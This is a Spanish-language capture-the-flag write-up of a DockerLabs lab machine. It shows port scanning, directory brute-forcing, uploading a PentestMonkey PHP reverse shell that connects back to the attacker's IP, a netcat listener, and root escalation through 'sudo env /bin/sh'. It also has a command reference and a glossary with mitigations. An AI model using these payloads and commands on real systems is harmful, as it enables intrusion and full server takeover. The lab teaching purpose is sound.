UPLOAD

// File Upload sin restricciones → PHP Reverse Shell → Privilege Escalation → root

FÁCIL DOCKERLABS LINUX RCE PHP SHELL NMAP // 13 JUN 2026

Overview

Upload es una máquina Linux de dificultad Fácil de la plataforma DockerLabs. El objetivo es explotar un panel de subida de archivos sin ninguna restricción, permitiendo subir un webshell PHP malicioso y obtener ejecución remota de comandos en el servidor.

Una vez dentro como www-data, se descubre que el usuario puede ejecutar /usr/bin/env como root sin contraseña mediante sudo -l. Aprovechando esta misconfiguration con la técnica de GTFObins, escalamos privilegios a root con un solo comando.

// RESUMEN DEL ATAQUE

Reconocimiento con Nmap → Puerto 80 con Apache + panel de subida → Enumeración con Gobuster → directorio /uploads/ accesible → Explotación: subir revershell.php (PentestMonkey) → Activar con nc -lvnp 4444 → Shell como www-dataPrivEsc: sudo env /bin/shroot

DATO VALOR
PlataformaDockerLabs
DificultadFÁCIL
OSLinux (Ubuntu)
ServiciosHTTP (80) — Apache 2.4.52
TécnicasFile Upload → RCE → sudo PrivEsc
Vector inicialUnrestricted File Upload
PrivEscsudo /usr/bin/env → GTFObins

Reconocimiento

Comenzamos con un escaneo completo de puertos usando Nmap con detección de servicios y versiones. El resultado se exporta en formato XML y luego se convierte a HTML visual con xsltproc.

1
ESCANEO NMAP COMPLETO
KALI
┌──(kali㉿kali)-[~/Desktop/upload]
└─$
sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 172.17.0.2 -oX upload.xml
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-12 01:11 -0400
Nmap scan report for 172.17.0.2
Host is up (0.0000060s latency).
Not shown: 65534 closed tcp ports (reset)
 
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Upload here your file
|_http-server-header: Apache/2.4.52 (Ubuntu)
 
MAC Address: AE:3A:C7:9F:0D:E0 (Unknown)

// HALLAZGO: PUERTO 80

Solo hay un puerto abierto: el 80 (HTTP). El título de la página es "Upload here your file", lo que ya nos indica directamente que existe un panel de subida de archivos. El servidor es Apache 2.4.52 en Ubuntu.

2
CONVERTIR XML A HTML CON XSLTPROC
KALI
└─$ xsltproc /usr/share/nmap/nmap.xsl upload.xml > upload.html

Esto genera un reporte HTML visual del escaneo, más cómodo de leer en el navegador. Confirmamos: solo el puerto 80 abierto, Apache 2.4.52, Ubuntu.


Enumeración Web

Con el puerto 80 identificado, procedemos a enumerar directorios y archivos usando Gobuster con la wordlist DirBuster y extensiones clave para aplicaciones web.

3
GOBUSTER — FUERZA BRUTA DE DIRECTORIOS
KALI
└─$ gobuster dir -u 172.17.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -x html,php,sh,py
Gobuster v3.8.2 — by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
 
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] Extensions: html,php,sh,py
 
Starting gobuster in directory enumeration mode
 
index.html (Status: 200) [Size: 1361]
uploads (Status: 301) [Size: 310] [--> http://172.17.0.2/uploads/]
upload.php (Status: 200) [Size: 1357]
server-status (Status: 403) [Size: 275]
 
Progress: 1038205 / 1038205 (100.00%)
Finished

// HALLAZGOS CRÍTICOS

upload.php → el script que procesa la subida de archivos.
/uploads/ → directorio donde se almacenan los archivos subidos, accesible públicamente (301 → 200).
Esto confirma la ruta de ataque: si el servidor no valida el tipo de archivo, podemos subir un webshell PHP y ejecutarlo directamente desde el navegador.

4
INSPECCIÓN MANUAL — http://172.17.0.2/

Al visitar http://172.17.0.2/ encontramos una página minimalista titulada "Upload File" con un formulario de subida. No hay validación visible ni restricciones de tipo de archivo en el frontend. El directorio /uploads/ tiene directory listing habilitado, lo que nos permitirá ver y acceder al archivo que subamos.


Explotación — Reverse Shell

El vector de ataque es un Unrestricted File Upload: el servidor acepta cualquier tipo de archivo sin validar la extensión ni el contenido. Subiremos un PHP Reverse Shell usando el payload de PentestMonkey, obtenido desde revshells.com.

5
CREAR LA REVERSE SHELL PHP

// CONFIGURACIÓN DEL PAYLOAD

Fuente: https://www.revshells.com/ → PHP PentestMonkey
Modificar en el archivo: $ip = "192.168.111.128" (tu IP en eth0) y $port = 4444

KALI
└─$ nano revershell.php
<?php
// php-reverse-shell — A Reverse Shell implementation in PHP.
// https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
 
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.111.128'; // CAMBIAR: tu IP (eth0)
$port = 4444; // CAMBIAR: tu puerto de escucha
$chunk_size = 1400;
$shell = 'uname -a; w; id; sh -i';
...

Una vez editado el archivo con nuestra IP y puerto, lo subimos mediante el panel web en http://172.17.0.2/. El servidor acepta el archivo .php sin restricciones y lo almacena en /uploads/revershell.php.

6
INICIAR LISTENER CON NETCAT

Antes de ejecutar el webshell, abrimos un listener en el puerto 4444 con Netcat para recibir la conexión entrante de la reverse shell.

KALI
└─$ sudo nc -lvnp 4444
listening on [any] 4444 ...
6b
ACTIVAR EL WEBSHELL — CLIC EN /uploads/revershell.php

En el navegador, accedemos a http://172.17.0.2/uploads/, confirmamos que revershell.php aparece en el directory listing, y hacemos clic en él. Esto provoca que el servidor Apache ejecute el PHP, que abre una conexión TCP hacia nuestra máquina.

listening on [any] 4444 ...
connect to [192.168.111.128] from (UNKNOWN) [172.17.0.2] 55452
Linux edee56e880d8 6.18.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.18.12-1kali1 (2026-02-25) x86_64 x86_64 x86_64 GNU/Linux
02:28:55 up 5:03, 0 users, load average: 1.34, 0.90, 0.44
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$

// SHELL OBTENIDA

Tenemos ejecución remota de comandos como www-data. Es una shell básica (sin TTY). Desde aquí procedemos a la escalada de privilegios.


Escalada de Privilegios

Con acceso como www-data, el primer paso es verificar qué comandos podemos ejecutar con sudo sin contraseña usando sudo -l.

7
VERIFICAR PERMISOS SUDO
VICTIM
$ sudo -l
Matching Defaults entries for www-data on edee56e880d8:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty
 
User www-data may run the following commands on edee56e880d8:
(root) NOPASSWD: /usr/bin/env

// MISCONFIGURATION CRÍTICA

El usuario www-data puede ejecutar /usr/bin/env como root sin contraseña (NOPASSWD). El binario env puede usarse para lanzar cualquier proceso — incluyendo una shell — con los privilegios del usuario que lo invoca. Al ejecutarlo con sudo, ese usuario es root.

8
GTFOBINS — SUDO ENV PARA ESCALAR A ROOT

Consultamos GTFObins (https://gtfobins.org/gtfobins/env/#shell), la base de datos de técnicas para abusar de binarios legítimos de Unix. En la sección Sudo de env encontramos el vector exacto:

// GTFOBINS — ENV → SHELL

env /bin/sh
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

9
ESCALADA — sudo env /bin/sh
VICTIM
$ sudo env /bin/sh
$ whoami
root
ROOT OBTENIDO
// www-data → sudo env /bin/sh → uid=0(root)

Con una sola línea aprovechamos la misconfiguration de sudo para escalar de www-data a root. El binario env lanza /bin/sh heredando los privilegios de root porque lo ejecutamos a través de sudo.


Referencia de Comandos

nmap
nmap -p- -sSCV -n -Pn --min-rate=5000 --open <IP> -oX out.xml
Escaneo completo de todos los puertos TCP con detección de servicios, versiones y scripts NSE.
  • -p- → Todos los 65,535 puertos
  • -sS → SYN scan (sigiloso)
  • -sC → Scripts de reconocimiento por defecto
  • -sV → Detección de versión de servicios
  • --min-rate=5000 → Mínimo 5000 paquetes/seg
  • -oX → Salida en formato XML
gobuster dir
gobuster dir -u <URL> -w <wordlist> -x php,html,sh,py
Fuerza bruta de directorios y archivos en servidores web. Ideal para descubrir endpoints ocultos.
  • -u → URL objetivo
  • -w → Wordlist a usar
  • -x → Extensiones a probar
  • -t → Número de hilos (default 10)
nc (Netcat)
sudo nc -lvnp <puerto>
Abre un puerto de escucha para recibir conexiones entrantes de reverse shells.
  • -l → Modo listener (escucha)
  • -v → Verbose (muestra info de conexión)
  • -n → No resolución DNS
  • -p → Puerto a escuchar
sudo env /bin/sh
sudo env /bin/sh
Abusa de sudo sobre /usr/bin/env para lanzar una shell como root. Técnica documentada en GTFObins.
  • sudo -l → Ver permisos sudo del usuario actual
  • env /bin/sh → Lanza shell heredando privilegios
  • whoami → Confirmar que somos root

Glosario

Unrestricted File Upload
Unrestricted File Upload es una vulnerabilidad web donde el servidor permite subir archivos sin validar su tipo, extensión o contenido. Un atacante puede subir un webshell PHP (o en cualquier lenguaje ejecutado por el servidor) y luego acceder a él vía HTTP para ejecutar comandos en el sistema. Es parte del OWASP Top 10 bajo la categoría A03:2021 — Injection. La mitigación incluye: validar el tipo MIME real, restringir extensiones, almacenar fuera del webroot, y renombrar archivos al subirlos.
Reverse Shell
Una reverse shell es una conexión donde la máquina víctima se conecta de vuelta hacia el atacante. Esto permite evadir firewalls que bloquean conexiones entrantes pero permiten las salientes. El atacante abre un listener (nc -lvnp 4444) y cuando el payload PHP se ejecuta, la víctima establece la conexión TCP. El resultado es una terminal de comandos interactiva en la máquina del atacante.
PHP PentestMonkey Webshell
El php-reverse-shell de PentestMonkey es uno de los payloads PHP más usados en pentesting. Implementa una reverse shell completa en un único archivo PHP. Solo requiere configurar la IP ($ip) y el puerto ($port) del atacante. Al ejecutarse en el servidor, abre un socket TCP hacia el atacante y conecta stdin/stdout de sh a través de ese socket, dando acceso completo al shell del sistema. Disponible en revshells.com.
www-data
www-data es el usuario de sistema bajo el cual corren servidores web como Apache y Nginx en sistemas Debian/Ubuntu. Tiene permisos muy limitados — solo puede leer/escribir los archivos del webroot (/var/www/html/) y directorios configurados. Es el punto de entrada habitual cuando se explota una vulnerabilidad web: el atacante obtiene una shell como www-data y desde ahí busca vectores de escalada de privilegios.
sudo -l y Escalada de Privilegios
sudo -l lista los comandos que el usuario actual puede ejecutar como root (u otro usuario) sin necesidad de contraseña, según /etc/sudoers. La misconfiguration más común es permitir NOPASSWD en binarios que pueden lanzar shells, como vim, python, env, find, etc. Si www-data puede ejecutar cualquiera de estos con sudo, un atacante obtiene acceso root trivialmente.
GTFObins — env
GTFObins es una base de datos de binarios Unix que pueden ser abusados para evadir restricciones de seguridad, como escalar privilegios o saltar jails. El binario env (GNU coreutils) ejecuta un programa en un entorno modificado. Cuando se ejecuta via sudo env /bin/sh, la shell resultante hereda los privilegios de root porque sudo no los descarta. El comando completo es simplemente: sudo env /bin/sh → shell como root.
Directory Listing
Directory Listing (o Directory Indexing) es una configuración del servidor web donde, al acceder a un directorio sin un archivo index.html o index.php, el servidor muestra una lista de todos los archivos contenidos. En el caso de esta máquina, /uploads/ tenía directory listing habilitado, permitiendo al atacante ver el archivo revershell.php subido y hacer clic para ejecutarlo. Es una misconfiguration peligrosa que debe deshabilitarse en producción.
Gobuster
Gobuster es una herramienta de fuerza bruta para descubrir directorios, archivos, subdominios y vhosts en aplicaciones web. A diferencia de herramientas más lentas como DirBuster (Java), Gobuster está escrito en Go y es mucho más rápido. El modo dir es el más usado: prueba cada entrada de la wordlist como ruta en la URL objetivo y reporta los códigos de respuesta HTTP (200, 301, 403, etc.).